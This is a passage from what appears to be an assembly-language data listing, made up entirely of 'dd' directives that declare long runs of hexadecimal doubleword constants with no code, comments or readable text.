3DBA094Bh dd 0EC62FB2Ah, 29919E63h, 651BC133h, 6AB1F8B8h, 93E63F09h dd 0E64A0EFh, 7701B9DDh, 124090D1h, 0CC32B8A4h, 29073EC8h dd 5F338218h, 0FCA0EE64h, 956F03DEh, 7A55F422h, 62ED4B98h dd 61758D00h, 90A40956h, 71960778h, 20A82DC6h, 2F2870Ch dd 0E775F978h, 0C004AA0Ch, 0A1AD04Fh, 19FE2F0Eh, 466B80D4h dd 0C0D05644h, 85BBB700h, 3E1CA590h, 70E10053h, 5C67ABF2h dd 0F00F144h, 0AC18A378h, 131155C8h, 15DAA925h, 0BA790887h dd 66000C0h, 0B858DFEBh, 0AD498228h, 0A7030430h, 0C903777h dd 7CBF5232h, 0E2743D72h, 833EDC48h, 6786193Dh, 51DD6F13h dd 5FA76800h, 7D79B0F9h, 7B8B87Bh, 0F5CF5791h, 0D2FB065h dd 0A31DF447h, 26837C15h, 0D00B19A6h, 3DFF1C0h, 7B4D8AB9h dd 0F3903A5Ch, 9163624Ch, 80944249h, 0FEF1035h, 9C556C92h dd 0BA803BBCh, 0A9F6D722h, 0F2C6457h, 990034F5h, 0AFBD3756h dd 9B7100ABh, 0F814F177h, 0C00316Bh, 63476AE1h, 0F21E2A0Dh dd 0A5F60080h, 0F91B62D7h, 8398464Eh, 0ED4154Ch, 8CA007BCh dd 0BA200Dh, 56D4316Ah, 0DC152D82h, 0F6007572h, 72431A9Ah dd 2C183BAAh, 84381B90h, 48EE3FEh, 0FBFC44Eh, 604E3D1Ch dd 72372E00h, 0CCA08D14h, 7601D0C0h, 515C1D2Dh, 0B2FC1B02h dd 0A2BB0AE2h, 12A94D16h, 8A470063h, 46435167h, 6030C900h dd 0BD4B26F4h, 0F5880E86h, 67C131DDh, 3044828Eh, 0B0222E30h dd 5898EDh, 13FDD117h, 0EB5D9A89h, 3C855Ch, 67580B4Eh dd 27ABC80h, 13732271h, 28685011h, 0B8888894h, 505C9C93h dd 0DF2C3DE0h, 9A00B049h, 45109E15h, 8CFC08h, 0B4E7ADB9h dd 0EEA17552h, 554AE601h, 0D0953FBCh, 7DB52D30h, 6BDD0010h dd 28F3BE36h, 8B0BB2A4h, 0DC050h, 0B33A6E4h, 959E0109h dd 0FE672612h, 0CD90884Ah, 0CCBF4294h, 90B030E3h, 810019E3h dd 26B80E96h, 17005EDh, 389CA821h, 206E36C5h, 81246A40h dd 0AF287C78h, 40003E78h, 0FAFDC2E8h, 0B06064h, 3562ECC3h dd 0E9390A9Dh, 4A33CF07h, 0BD40D191h, 5B955CDh, 0E23D716Ch dd 9FD18075h, 0FB1C89D0h, 358280D7h, 64D9A038h, 5FF00010h dd 7718D884h, 0CBB8C2EDh, 0AC73D400h, 8D520C29h, 4E8507D7h dd 2036E5BEh, 9091C8EDh, 0C92DF600h, 0AABDD482h, 5FF30199h dd 5E585C0Eh, 0C36E805Bh, 88FF5983h, 0A3F20063h, 0A41DEF52h dd 0B1001AE4h, 8BBC825Dh, 7C7F4651h, 0A32F0B23h, 4D00134Dh dd 0B03EA952h, 0D800617Bh, 4ABC33C9h, 82DFDAh, 6DC5DDDCh dd 0D9B7F727h, 0B254FB00h, 0ABF48ED2h, 0A1C8A0CBh, 967403C8h dd 0B124E659h, 0EB9D2790h, 2BE3F501h, 0FC522180h, 7C16834h dd 7125AB6Eh, 8F845944h, 9FB88016h, 7B24768Eh, 522C1C11h dd 7C65F00h, 2CBCA7Dh, 0BD9106D2h, 0F383C812h, 283A0310h dd 99AF930Bh, 0B991F901h, 706450E6h, 479C9625h, 5D9C3061h dd 3109EB88h, 200AE919h, 0C743DD0Ch, 0B5C20098h, 78021468h dd 0C6042C99h, 0AB4D7980h, 3F27CFC0h, 0C1242649h, 6E20030h dd 0CA5AA98Ch, 0E37110C0h, 0B15DBF3h, 0EDB38E79h, 0B8A28460h dd 9A29EF00h, 0B40C88Bh, 734B007Fh, 7CD0631h, 88303E76h dd 0C256C872h, 29C1003Dh, 0FD205B04h, 7E00B56Bh, 0B71F9BFEh dd 4B3875Eh, 4E1B2988h, 447480BAh, 2F01F1A8h, 7CBBFCD6h dd 1BE08F06h, 748B1CDAh, 5DA10014h, 0BA794BE5h, 78195Ch dd 81A01376h, 9F74094h, 5E5C6DA6h, 0FE3D3080h, 0F939DA73h dd 75C19FECh, 0FCD4CD80h, 251AC2FBh, 0D002171Ch, 0C058404Ah dd 1622FA01h, 0F6029443h, 757B3D8h, 44D88DD7h, 288BE0B9h dd 873FCBD4h, 0A5AA00D1h, 0C44C9D67h, 35720011h, 0B8F18DE6h dd 0B8B08E3Eh, 0F7031C16h, 614B98D0h, 50A50076h, 18A1640h dd 0CF006414h, 70C457BAh, 2EA178EFh, 9B02675h, 2C206F8Bh dd 0CE4BC1A0h, 1644331Ch, 0B400B028h, 725B8E11h, 78DB965h dd 0D5B3DC6Bh, 80910464h, 967C5505h, 3C458F3Ah, 424C003Bh dd 54FFB051h, 0B48E00B7h, 0DC190BF2h, 4800A4C4h, 0E7A89710h dd 76E398h, 95C758E4h, 32B47AF5h, 8E014D01h, 6784CB42h dd 3071430h, 47636E9Ah, 0DEA8FF9Fh, 8200622Ah, 0C8CAC37Fh dd 0AF2694h, 799C8A90h, 0E3FD66E7h, 74284260h, 39375758h dd 0BC802B97h, 0F3A7CD9Dh, 4060F6C4h, 3A5964B8h, 0AEFF0181h dd 0D4C9F2E9h, 9866F0CDh, 0D505B500h, 26594150h, 0F0B000Eh dd 2CEAEBC3h, 6502B4A4h, 0F8633864h, 8FAC4006h, 0FE4E1D2Dh dd 0C2CC00A1h, 0A5B7C33Ch, 17E34D00h, 0F89D3305h, 78197A63h dd 6F9051h, 0EE1E78C4h, 8DFD5EA4h, 0DEB82E00h, 0BF98E3AFh dd 3392006Dh, 0FE5ED03h, 1800E1F7h, 0BECA11CFh, 7E4E628h dd 0AC6CF619h, 0A2CE0DFh, 5A003D07h, 2A5347CEh, 0EA6213h dd 38F16FE2h, 17107457h, 0C089DF01h, 6A019666h, 2625807Eh dd 560FF74Ah, 405EE0EFh, 0B415115Dh, 0E30E0E9Ch, 0DC205774h dd 77832E3Fh, 0D78AF700h, 31CE159Bh, 0A18E00C0h, 0BC84C63Bh dd 0C2006ED0h, 3309D12h, 11BEF4h, 38DEAF61h, 0DF0627Ah dd 39C38A00h, 0E2C6504Bh dd 0CF820063h, 102E2C40h, 0A3001AF7h, 0A10F6133h, 7EC3EF31h dd 673A1DADh, 225940EEh, 3B4DBB5h, 301348h, 0E988EC81h dd 0F441B3h, 0BE89128Fh, 19662FDAh, 28086507h, 83C0A47Bh dd 7BA458Ch, 0A0645FD6h, 27FCD066h, 7716FEC4h, 100027Ah dd 492A0442h, 0F17101F8h, 62F463F5h, 779FD410h, 9ECA5612h dd 0E6544Eh, 247958A9h, 0D66100A6h, 0F0D13167h, 3A74E5C3h dd 366DEC0Fh, 0FC6B20CFh, 3A95FAC5h, 3BF4C7FEh, 9300A0C9h dd 68FFBDC4h, 91003AD3h, 8E36CF9Bh, 12B8D896h, 312F5DCh dd 86C1B42Ch, 0A4FA40D7h, 8E610D88h, 80829E18h, 1B39D6E8h dd 78C6FCCEh, 430FF8A0h, 2DA84160h, 0DE9AE7C5h, 0F9150130h dd 8017E561h, 1B76F308h, 12A232CAh, 4BC4CCh, 0FC01316h dd 3A1F0C3Fh, 430F519Fh, 0DA1A0087h, 2CCFCAE0h, 12819Eh dd 41A739AEh, 0CB0C99ADh, 69965BD7h, 0FFB70F8Fh, 612121C4h dd 5081598Ch, 0AD392A9Ch, 80A6733Ch, 61108D0Dh, 0A0E90E62h dd 7495D58h, 8A4E2C31h, 1F02605Bh, 0AC7DBBD3h, 463F6F0Fh dd 0A52A831Eh, 2008F0F0h, 560403F7h, 0B5103C7Ah, 64B77FC0h dd 3683D700h, 0E73F47F6h, 8DCE00C8h, 0C1E02DBCh, 30008196h dd 3E9F265h, 0EAA9AF15h, 854C0047h, 7F48013Bh, 3300AA09h dd 51E808F4h, 3900DEEh, 69DDF11Ah, 0EBC084FAh, 0D300A720h dd 0C304E216h, 76D23CB8h, 7E3F0026h, 892F3848h, 223E8009h dd 95EB0166h, 0F6CE4DBFh, 8E9483DEh, 715EB88Dh, 0A4C9501Ch dd 895F7A4h, 660098B0h, 2A55ED6h, 6B0051FEh, 170AA229h dd 37F418h, 7BCD82FAh, 2CC843A1h, 7A46C305h, 0C4003DE1h dd 0A5F28D6Bh, 918921Eh, 22E66CA1h, 4189ED80h, 8674D98Ch dd 0CA210860h, 1E75E665h, 0D83016D5h, 98BA6025h, 0A187460Ch dd 7001290Ah, 21C86097h, 8F329834h, 30938D80h, 691818E8h dd 0C419AB01h, 0C8F9ED3Dh, 5E08D018h, 0C4D91C73h, 0D8C0408Fh dd 603E65Eh, 6B85DC90h, 2A0CD024h, 0E8A4CC8Ch, 3E4D0086h dd 7C715779h, 0FA013D64h, 8F2FCB34h, 20E8DFCAh, 0C44F0081h dd 942BF258h, 5D0EAABCh, 0A0632EECh, 69B3491Ah, 7F9D1260h dd 91190310h, 0A397246Eh, 21A8D0A2h, 0F528E169h, 0A800B905h dd 5A221BF2h, 13C9A4h, 0DD85AC23h, 37F60679h, 8A0E092Eh dd 6393C40Eh, 0F05E3F78h, 0FE9EEFh, 5A3463C5h, 0CC670AC6h dd 0E6CE1F00h, 0B8C00E64h, 1E8E0784h, 81209456h, 6B12D115h dd 0E1CA2B00h, 5D9506h, 0F95B7983h, 12FBC105h, 0D8E5DD01h dd 10B6CF33h, 0B7E25D8h, 5782F7C3h, 0D09E0787h, 7A0180EAh dd 63497700h, 18CD4A98h, 1EC700C5h, 0F1684261h, 887E0E92h dd 2886240Ch, 52D1D0C0h, 0B0AE04BFh, 975922h, 0A2B86F0Bh dd 8A30C03Ch, 0DDBC9800h, 37B39EA1h, 0DA201D79h, 0E82E83A0h dd 53C0A2FBh, 0D3039230h, 21A1AE31h, 4228C6E5h, 0A4ED1106h dd 11D0EE11h, 0B221E74Dh, 23964E04h, 44D12A04h, 0BE48E1C4h dd 9097A84Fh, 3CB48AC6h, 2B8F8A10h, 14C22891h, 0C9ACD931h dd 0C411A776h, 839E122Bh, 28B5EA50h, 2228A229h, 0DA422C08h dd 77AF4911h, 3CB929C0h, 5C6F662Dh, 6800C6F6h, 0D4FC1A21h dd 0CB00BE1Dh, 9E34D6C8h, 97AE18h, 67F9944h, 4A245413h dd 8046A738h, 85B75DBCh, 225014h, 5F2EA4BBh, 1DFF60B9h dd 1F4C5100h, 0C9DEE7D7h, 0EA796061h, 0B37A8293h, 0DC04777Ah dd 546F39C6h, 0F1BBC7C0h, 0B1EE170Fh, 4FDF00CEh, 4998AB3h dd 8F8650Fh, 83D1C10Ah, 0ADC8261Bh, 47E10277h, 9C3FF7F5h dd 0A724D6E0h, 915FE600h, 948A42BBh, 3722009Bh, 233BCA4Dh dd 0C63F85BDh, 28B70E21h, 0F654402Ch, 170FB5A8h, 0CD56E7Ah dd 26681FA9h, 1DE5B01Dh, 87074943h, 0FFAE8027h, 89A2000Ah dd 82F8BD7Dh, 74002BA9h, 0A886AD7Bh, 60D7AE2Ch, 940A401Bh dd 9F004D10h, 0CEDFD588h, 3103436Fh, 0B520085Ah, 8A31F828h dd 78210C00h, 428EC3BFh, 0C0C8DE1Eh, 27B70B0h, 0A5006365h dd 56127CFh, 70FDA9Fh, 0D968DE93h, 3A80FEC9h, 896A0BAAh dd 0EE036104h, 0D8786A0h, 5A275930h, 3A710021h, 223E2F66h dd 5D00F88Dh, 0B53D0614h, 0ED0D08h, 0A97C494Fh, 72BB7696h dd 0B1B6DE00h, 14601B50h, 78E8000Eh, 7F9C8C2Eh, 270084BAh dd 1C64428Fh, 0C78ACBh, 0D07D1BB0h, 266A1789h, 87784A9h dd 7B4200F8h, 6BD5FECBh, 21EED0C8h, 8B7422F2h, 0F7ED7900h dd 0B5F916B7h, 0AC120363h, 0E509AB9h, 62180CB8h, 4956800h dd 0A82E96Ah, 5269003Ch, 15C70D9h, 0F4007B0Dh, 8A27BC4Ch dd 44481Bh, 0DB97B426h, 68ADEFF8h, 0F9BFEA00h, 38B0724h dd 0BB060A3Ch, 3C9C0ECAh, 3F05DE03h, 3D9038E8h, 9D0045A9h dd 1E9C994Ch, 3D826FC1h, 88802074h, 375762D3h, 7900D2DFh dd 149FBADDh, 7AE43101h, 718B3F4Dh, 8ED59680h, 0E5530A16h dd 3657A501h, 33786BF9h, 3725C0h, 623D2E87h, 53BB21EEh dd 97BD020Ch, 1AF5277h, 5EA3E62Fh, 47ABA990h, 1BB940ACh dd 3C48E978h, 6E8100AFh, 0EB75B892h, 6FC720Dh, 9FCF2638h dd 1902304Eh, 0C399B602h, 0EA2C4037h, 16278804h, 1EA2871Fh dd 6A7BFE40h, 13441121h, 0EBD165A8h, 0CCD93100h, 95027827h dd 0D00036F0h, 5B84B0A6h, 1E1D84Bh, 8C36414Ch, 30937262h dd 1400CCC2h, 0F6C9AF4h, 7A6A80h, 0EC5CC29Fh, 0D8CBBA42h dd 4EF26900h, 12DD4BC4h, 3B1AE694h, 8D81F029h, 7C93895Fh dd 0D01180D5h, 0ABF5EE45h, 8A49004Ch, 5161CFC1h, 0D40003B2h dd 582C7CE2h, 7B31AA34h, 129A00E3h, 0C695D5D8h, 5B00130Dh dd 0EB236E78h, 1C98228h, 9668B005h, 44F70EA9h, 0D7890084h dd 8F8C20E5h, 0FEF57B50h, 0BACC881Ch, 4119474Fh, 0D3AEDC9Fh dd 16D2CCh, 4DB0028Ah, 9B25EEDFh, 0A0D8DD00h, 0ECFF6D8Bh dd 0DB6600CFh, 1B19D1EDh, 0AA0062C3h, 503DD969h, 0B83E9Fh dd 2EFDC4A3h, 1D178ACCh, 0DB4DE500h, 7642B98h, 0D4A2002Fh dd 6FC72A81h, 0EE1433DFh, 0FC4DD1Ch, 0B232901Ah, 0D8C51841h dd 60C905ACh, 0FA4A60h, 0B0CEC93Ch, 65D427E0h, 18283360h dd 1980A43h, 2B901281h, 2205457Ch, 0B0F006B8h, 100AFEh dd 9EE9C375h, 14F11834h, 0D1B1DC00h, 0AB952AB8h, 1CC94853h dd 52CEC009h, 9FD0A4A0h, 3CE4D189h, 92F60209h, 88B880CBh dd 19203ECFh, 20829DC9h, 0DB4ED47Ah, 3F57B800h, 8C102B95h dd 6BF800FCh, 8F208056h, 2D188ECCh, 0BD68D80Ah, 1AE7034Bh dd 4EAB02D5h, 11DC5800h, 83E34CD6h, 1D749Ah, 613B2188h dd 13E0DA87h, 0D3E9940Ch, 0ADA863h, 732C12F6h, 8E52C42Ah dd 0CDB83F00h, 296B19BAh, 0DAE52C6Eh, 1C200018h, 696C6603h dd 9C3C9728h, 6DC9CA04h, 78804484h, 2D6149Eh, 37C6808h dd 40481EDFh, 0AA00E101h, 14777038h, 0C36976h, 34FAFD89h dd 0BE3A5B10h, 75908C00h, 73628A0Bh, 0DC0E00C5h, 0BBA61F0Ch dd 0E0A07766h, 6C1D6533h, 0E3403E89h, 0D8353B8Eh, 21240090h dd 0D5F4DC77h, 0EB1E201Eh, 46406215h, 0D62794EEh, 90C403E1h dd 0C24E7A5h, 5A080798h, 543BC00Eh, 1219A167h, 0B834D0BDh dd 3C9F0078h, 0FEF8F1B2h, 3D09F213h, 6889F9h, 19E9BFE4h dd 10710026h, 0F85CB998h, 6A00B275h, 9B5DFF7Ch, 729FD8h dd 0EBAD2D0h, 19CE01A9h, 88537E00h, 2E634203h, 0E85E24E2h dd 705C02E0h, 5861368Ah, 44986011h, 4E3D411Fh, 197068Eh dd 60B3B93Ch, 0CF9FD841h dd 2257ED8h, 1D816F46h, 1FE0DE85h, 8D012A70h, 0F65A2129h dd 0A3D5A9B8h, 9374C0h, 0CFBECC56h, 0BD1BAEBAh, 0AA6D4500h dd 4043953Ah, 8A5501EDh, 4C4876B7h, 0E807FF3Eh, 6828CD2Eh dd 0DE50B870h, 0FFD90689h, 30E2B678h, 170548h, 2075F73Dh dd 36B23Ah, 0A6C459F8h, 0B62583D7h, 14506E00h, 846CC64h dd 0B340082h, 47EFFC21h, 0C502E9C0h, 1D0A1A69h, 0C053C231h dd 26E40Dh, 277143CBh, 74C62F68h, 81511A00h, 0C9048B57h dd 7E150083h, 9502219Eh, 2400BB09h, 0BF723DFCh, 51B789h dd 19484FE2h, 0A3B37545h, 801C1B4Ch, 47A6D2C5h, 0CE0900DEh dd 0A9B14A1h, 5373BEB9h, 0FF5D8600h, 0CFB75F9h, 7294007Dh dd 1FA8F778h, 8B142F0Fh, 2C45EE0h, 0EA0E232Bh, 2DF460E1h dd 7BC900C8h, 57B438B1h, 0FA00C599h, 0ED542296h, 53676Dh dd 0BF0ADC30h, 7ACE2B45h, 39590703h, 0D1799629h, 0C450FC3Eh dd 91BC22CBh, 0E3948CECh, 45003B18h, 0D36A6D32h, 7AA280h dd 0E6B2EF56h, 0D779C728h, 2FF73400h, 3FDEAD99h, 664C1C88h dd 98684075h, 0D3D624F0h, 0EB36CA05h, 16C0BA07h, 0E46C6A78h dd 227CFCh, 799EDD84h, 3B2BB038h, 80548F3Eh, 0B2462C5Fh dd 2EA293h, 5F223D2h, 0ADF01327h, 118FE10Eh, 1890A05Ah dd 4839708Eh, 3C00F0A8h, 0BFAEE250h, 0CF07DA27h, 3571060Fh dd 64AB2130h, 0D929C7B2h, 0DCA9E0F4h, 0A9CE9753h, 5E152047h dd 0FD2FC0B7h, 6E432880h, 0D938E193h, 857FAA75h, 8100DC90h dd 3F9CAF17h, 0C3D05Ch, 13308DF5h, 0BD703651h, 2B49AE00h dd 0D4BAD141h, 485C989Eh, 2904AFC7h, 0C0886C42h, 0C073DA3Ch dd 3FACBA00h, 0EC4D5DBCh, 3A84A0D1h, 609000E6h, 5EE1B613h dd 12EE1073h, 7D6FE8FDh, 71AF2900h, 33D4424Bh, 0FB7A13h dd 0EF618C1Eh, 6C7090A4h, 529FA802h, 4987FFB3h, 0D0800B20h dd 0ABFBC1CAh, 6800AF0Dh, 0D4981DDAh, 182479B4h, 1C02F615h dd 3C07874Dh, 1F2A3F90h, 0DAE78B20h, 59B902E4h, 0A1D97609h dd 2088C0C1h, 2A00AB14h, 37B701Ch, 0A90245h, 21E5B94Eh dd 0E7EE397Dh, 23223F00h, 0CF9097Ch, 0A4D000A3h, 3EE8C250h dd 4102ED35h, 0C8B58E54h, 8426E0EEh, 347612FBh, 0AC1CC0C3h dd 349828CBh, 0D464B40Fh, 0B6EA186h, 20802C89h, 0EEF98123h dd 0BD0080C1h, 11866C1Eh, 6AE955h, 5A1FCA47h, 3515BF3h dd 0AC98DBB8h, 0E0FE5600h, 7FAB2098h, 8F53007Bh, 378A2D85h dd 0A50212A7h, 0A161DC39h, 88F8807Eh, 7F2E893h, 3F0411D6h dd 914FA00Ch, 7300E958h, 0A2692652h, 0CB4055h, 0B0C25310h dd 32801EB7h, 0B500727Ah, 0C99B8A27h, 34A6C5h, 1B7B58E2h dd 3F6BEB2Dh, 87A77900h, 8EBC810Bh, 894A0038h, 5E83F38Ah dd 6800BF84h, 2ABD69BBh, 73CC1DC5h, 419F0919h, 888FF1EFh dd 62500961h, 0CC396121h, 480303ECh, 0AF6C6EADh, 0C6A2801Eh dd 84A30BD9h, 0C40027CFh, 0CC925BB3h, 47E58C00h, 0B99DFFFEh dd 0F0EE045Dh, 0B0CBFBEBh, 1CB0D2D8h, 0FA9B9400h, 809FCA7Dh dd 2FFB0CE7h, 0BC8A3205h, 8F388D60h, 4EB9507h, 0C1A63B6Ch dd 59D48246h, 0F4822C63h, 4D77AC40h, 80FD5E3Ah, 451D3A64h dd 5CEF54h, 0BE109F7Fh, 5E70CD34h, 0F68CF5Ch, 3FCEFA73h dd 5D6400FEh, 0CC23D596h, 76BE181Bh, 700B34F6h, 0BF3F39h dd 387EE2FEh, 2CA005A1h, 83444A91h, 8BB9BD83h, 755B8588h dd 0D20E5570h, 0E7C01A60h, 2100061Bh, 4B12Ch, 0ADC272D6h dd 0B20EE92Dh, 51918200h, 0A1B8399Eh, 40C2DE4Fh, 0C63F258Bh dd 343DD56Fh, 0E1848F13h, 5D096075h, 90AB69B1h, 3AA9012Dh dd 8CE2A6D8h, 890460DDh, 5D03CAE4h, 3501426Fh, 9901F773h dd 40304DD1h, 0ACE14837h, 9627513h, 0F8A0639Ah, 1FF998D0h dd 9A2FEF00h, 25DC31B1h, 21D500D2h, 0D1EDC841h, 9E0057ACh dd 22BED836h, 0EF69764h, 6B7C4A28h, 0E52D7120h, 0D5000363h dd 0FE2B2CFCh, 90CC049h, 0AA77632h, 0BDB1C80h, 245CB3C8h dd 8921FA00h, 1B91CA4h, 0CC6AB138h, 603824DAh, 2F49A700h dd 28988556h, 0A42E4Ch, 0C99AFBD0h, 60F18EDAh, 0D3C0C859h dd 0D200A3DEh, 9A9722ACh, 1D49CFA8h, 90B43477h, 0BB0A0027h dd 2AF43042h, 9CFC4C18h, 70041876h, 0E792061h, 2C0018B1h dd 220D9AA7h, 92B21ED4h, 26C4270h, 0E050E143h, 0BFF7CC02h dd 0E03937A5h, 0B720C7h, 2168B02Bh, 0AE14401Dh, 8501AFE6h dd 2972A0B3h, 2887F6CEh, 0D6A71AD1h, 990F2A98h, 0CB9430DDh dd 0D5F900B1h, 40CE71h, 0E57015D4h, 6E10936Ah, 452FAB00h dd 0A667FA5Bh, 89EF03ADh, 870C8A2Eh, 0B7201D8h, 50696A2Ch dd 1A6E8600h, 2C04Eh, 7E39F444h, 4E77FF9h, 52CDAA00h, 0F3A69175h dd 8423E722h, 8034931Dh, 827E14B8h, 0D100E929h, 0DF6510EDh dd 4A9694Fh, 26683AE0h, 1D90807Ch, 37003E59h, 0EE410EB2h dd 0F811E82Eh, 4DE7007Eh, 0B62CD59Ah, 46008AFFh, 0FEB43A03h dd 3AF955E4h, 80CD21ACh, 68EA0273h, 2D7F7116h, 0FA2E9048h dd 3BE0AD58h, 1DC08011h, 6527F2AFh, 9026004Eh, 0CA032A76h dd 0EE0E228Bh, 3418E9FAh, 7F5300CCh, 0BBBA05ECh, 941E245Bh dd 0C07A1D63h, 0F571474Eh, 0AF011FA1h, 97AE11E6h, 7424A6C1h dd 0FB1D37D8h, 0C0068478h, 401211A4h, 0B03FDD00h, 0F6C4CC7Ah dd 9E20C0C6h, 7055E7C5h, 0E8DF9C01h, 7B8EAE2Dh, 17CA4ADCh dd 90BE934h, 78D0B978h, 0D1FAA600h, 3F8F1C01h, 0CD6B00B4h dd 0DC9830E8h, 9E129F9Bh, 0E000DE16h, 2BB22609h, 0A56F00C7h dd 973A8969h, 0FB264B96h, 8100A356h, 83110714h, 0C33E0277h dd 78B6D6EEh, 0F08A86E0h, 3A5C25h, 17AEA1A8h, 0F9A23F15h dd 589C680h, 0E23CE1B4h, 1294B548h, 0ECC0276Ch, 941AC9h dd 5B845CD5h, 0BC9533D7h, 276ED301h, 42042B8Eh, 2C79A424h dd 80CC0F1Ch, 0E46D4D06h, 0D0968F2Eh, 1F938201h, 4F00456Ah dd 0B9F41E7Bh, 8B1BA900h, 99E74E69h, 2265CC3h, 356A0F00h dd 93B61694h, 0FD5D0400h, 0C0E0BFF8h, 2BAD0389h, 9BAA7B43h dd 8873FCC8h, 0AB729100h, 505F5C1Ah, 2612E635h, 0A8690Bh dd 0EA214314h, 9E090857h, 809C7523h, 3AB78168h, 8733400Bh dd 56D23700h, 59166E4Dh, 47AC0E04h, 33C0F4E9h, 658ED0C5h dd 0C1218614h, 7E1880E4h, 0F4D174h, 24735662h, 4582800Dh dd 5901E9E8h, 4F8A5475h, 0A428E096h, 42176583h, 0E330B1E7h dd 3CE0EE1Dh, 0C008413h, 74050B7Eh, 40A5E7h, 23542B93h dd 89D06E53h, 98C8B03Fh, 0D24026FFh, 0AE0C0282h, 0D91F7F64h dd 0D021A580h, 0EB715381h, 9463Dh, 0A902E88h, 569AE6Eh dd 39775D8Ah, 6FD408BFh, 0A8F41F01h, 4430F9CAh, 0DA9907CBh dd 602BDECCh, 0BAD8D85h, 2FFD1603h, 0FAA94CA3h, 0BDB080A2h dd 761FC532h, 0E4D01CFAh, 0A795408Fh, 407D47BAh, 0E1F448h dd 83AE2102h, 0C071F7EBh, 6E090D78h, 0B1EEE207h, 0DB9EFE00h dd 94E9AF81h, 56A007Dh, 354FA65Fh, 2A007357h, 45D45EE4h dd 113C69h, 4C8A8B94h, 86B81A48h, 0A6EF433Ah, 0BE001054h dd 0CA4DA82Ah, 179F014Eh, 0DC1159Ah, 0C3A0604Ch, 341C5Ch dd 0A1602729h, 6EE8Fh, 9F9E2EF1h, 5C5AF218h, 7D6BCB00h dd 0D858DFECh, 79B7144Eh, 2B07E421h, 0E699423Bh, 0E10FE0D1h dd 0F4BD76Ch, 0C047C1A8h, 0B8CB7860h, 3AA1735h, 0D48A7698h dd 0E6B854C3h, 8B00EFC4h, 2F6423Fh, 90F73694h, 1538261Ch dd 181742h dd 9F36FC0h, 5C0ACE11h, 0DC0D191Ch, 20A34940h, 0F4EF0087h dd 6268943Dh, 0A025A632h, 2D7C0Dh, 378A4951h, 447E0AD1h dd 9E89BF01h, 0A91045ABh, 58A7D420h, 0F03D966Ch, 56D6979Dh dd 0EB0C0F1h, 47F4F343h, 803AC839h, 46BFA57Eh, 0E83BEFh dd 9CF7AB0Bh, 21419619h, 29D5A801h, 0EC2BBD6Bh, 1CDC1C21h dd 42625B04h, 9283974Ch, 2AA602E0h, 550CCE03h, 0E2E3AA0Fh dd 26062B3h, 4811E4FBh, 0C015D80h, 42A124D7h, 14135E10h dd 2880410Dh, 3EBA9D4Fh, 98028F4Ch, 57B9CA17h, 0ED3B2940h dd 13F52D3Bh, 4040A0D3h, 107A41FBh, 3C1D0206h, 4A36EE9Eh dd 5505A4D0h, 78E34309h, 24D030F4h, 1B05C57h, 2D13D1F4h dd 0E06CD9h, 0F84E6360h, 18C359C9h, 603EB58Eh, 715D958Ah dd 53858250h, 67B06830h, 33C10FA0h, 0F3C1CBD0h, 0E89C8B91h dd 0DE00DBECh, 0EA93275Eh, 0CB0B8Dh, 0F2FF8FA7h, 11BD576Fh dd 3AEF9104h, 94C1682Eh, 5B705D14h, 0DF58C028h, 9008B90Eh dd 7F7C3B0Fh, 885C8078h, 3CB246CCh, 4A804DCBh, 16F5AB8Ah dd 28305ED3h, 7114C873h, 0AC350038h, 79E5B033h, 470E62F9h dd 2529AA39h, 5C90C381h, 25D0F2h, 2106BBC6h, 63EEB762h dd 0B1DC20F9h, 34825500h, 0E2E51D76h, 35270092h, 71F022D1h dd 1800D93Eh, 234EF37Ah, 80657h, 0A2A1E862h, 5CF5C5D0h dd 4030F00h, 96DAFCAEh, 0D86E5023h, 56BA1F90h, 0C608C0D9h dd 3EFDA1D6h, 6BCA580Bh, 0DCEB0093h, 43C536h, 0B5392EB7h dd 6784D947h, 4CFFC700h, 1EB10F6Fh, 13B9002Ah, 2FEDCD50h dd 2400AE43h, 0D95A80E9h, 0B116454h, 89A22701h, 2923BCC4h dd 0FE2408D7h, 28005F11h, 3BCD625h, 0C752FDDh, 0D4FF5102h dd 58A74465h, 6AA900F8h, 0A614D8EFh, 0C7044092h, 0F72DEEEh dd 61F2E880h, 0A1330031h, 0C290E18Eh, 0CA001003h, 85F52035h dd 9D18818h, 14B4D669h, 22EFEC80h, 8C920C3Eh, 9FE20A1Eh dd 0CD388D00h, 342D70h, 2B546867h, 0EBD9C379h, 0F026600h dd 5832C14Dh, 0D8C002Eh, 20D1EECAh, 1A1452B6h, 0F8F5AFh dd 2921B122h, 1CC6FCBh, 30BB8138h, 385B8CEDh, 0B6FE0F2Ch dd 159807C8h, 26848E41h, 979060h, 5D46CA07h, 8B09E67Eh dd 19D7BC12h, 0B503F603h, 0BEF2B020h, 0B9B100B0h, 0ABFC3F5Bh dd 8600C44Eh, 20A6B2C6h, 0EC655DB5h, 7ABD09D2h, 51807308h dd 25507E3Fh, 17B7CD00h, 0FFC4383Ah, 6EBA1C28h, 0D3BE4080h dd 1DC9DD1Ch, 89EA001h, 0E4BDE05Dh, 953630h, 0B053E24Fh dd 54D3FE7Fh, 309AFE6h, 240CA770h, 4CD8450Ch, 189005E3h dd 0D042E70Ah, 0EE434748h, 80266938h, 18948341h, 0D0A306h dd 176EF852h, 0EA9F11FDh, 0CC0330BCh, 8AE845F2h, 3B3CC051h dd 91A20461h, 0A17830EEh, 1D55E0E8h, 11204A60h, 6C85D1Ch dd 393CA8A0h, 38901908h, 0E0528000h, 322AF2E1h, 0B4713954h dd 2BE73380h, 7F1CFD1Bh, 99868B00h, 9CEFA62Ah, 333F0041h dd 966AAE3Eh, 77002935h, 0A17A3210h, 0F8E3818h, 0FBE2ED6Fh dd 33E48000h, 750F7E50h, 5E8430ADh, 0FF4D7CC2h, 0D036404Bh dd 0FB821CF2h, 4E80FC94h, 2C87EE1Ah, 0A40027F4h, 485119E6h dd 4D18682Fh, 1703B0C2h, 49E18FB6h, 0A5302Dh, 68A9E0FCh dd 2B2E00C0h, 53D8767Ah, 0A2003196h, 4CC14F93h, 2FB811DFh dd 30A07B1Bh, 0FA9B0D59h, 87D4640Eh, 8186E727h, 3CD29D70h dd 20F00EF8h, 4016F348h, 802AC060h, 8101AB71h, 941F5893h dd 18FB78FFh, 10075B98h, 8F8AE9C7h, 0E6510330h, 1F59C347h dd 20BEA620h, 13988A0Ch, 0E20582Fh, 0A940D193h, 0F6EA7180h dd 4501CA97h, 0D2DE291Dh, 0E1F090FDh, 7D67002Eh, 445CED79h dd 2B30A913h, 5A986859h, 0E8581560h, 5C42948Eh, 0D65B2601h dd 0D03B32E7h, 521520F6h, 36C06F3h, 11AC8EF2h, 8C12D090h dd 558B077Eh, 1CD6AF94h, 0FE0071C0h, 4ACE44DEh, 